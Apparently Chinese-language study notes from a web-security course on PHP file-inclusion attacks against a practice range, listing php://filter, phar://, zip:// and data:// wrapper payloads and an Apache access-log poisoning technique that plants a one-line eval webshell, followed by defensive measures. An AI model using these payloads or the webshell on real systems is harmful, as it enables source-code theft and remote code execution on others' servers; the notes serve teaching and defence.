靶场:
120.27.61.239:8005/source/test/index.php
php://filter/read=convert.base64-encode/resource=include.php
120.27.61.239:8005/source/test/index.php?lang=php://filter/read=convert.base64-encode/resource=index.php
php伪协议—— phar://
靶场:
http://120.27.61.239:8005/source/include2.php?file=a
ascsa.php?file=phar://./c.zip/c.txt ——> 相对路径
phar://E:/phpStudy/PHPTutorial/WWW/01yijing/include/c.zip/c.txt ——> 绝对路径
php伪协议——zip:// bzip2:// zlib://
asxcasc.php?file=zip://D:\phpinfo.jpg%23phpinfo.txt
php伪协议——data://
data://text/plain;base64,<?php phpinfo();?>
Apache——包含日志文件 ——>开启access.log 重启
·一般apache会存在两个日志文件:
1、访问日志文(access.log)访问日志默认是不开启
2、错误日志文件(error.log)
·apache开启日志功能时 主动记外部访问到access.log
http://120.27.61.239:8005/source/include2.php?file=<?php eval($_POST['zxcv'])?>
记录到日志会转义编码 burp转包 修改为正常 日志里面可以查看到正常地一句话木马
使用本地文件包含 包含access.log文件
adxas.php?file=file://E:/phpstudy/apache/logs/access.log
防御措施
·设置白名单:代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参 3422927312正在观看视频 数进行比较。 ·过滤危险字符:严格检查用户输入,参数中不允许出现../之类的目录跳转符 ·关闭危险配置:PHP配置中的allow url include选项如果打开,PHP会通过 Include/Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止 打开此选项,PHP默认是关闭的。 ·限制文件包含的路径比如只能包含某个目录内的,PHP配置文件中有open_basedir选项 可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件 ·严格判断包含中的的参数是否外部可控,尽量不要使用动态包含,可以在需要包含的页面 固定写好,如:include('head.php')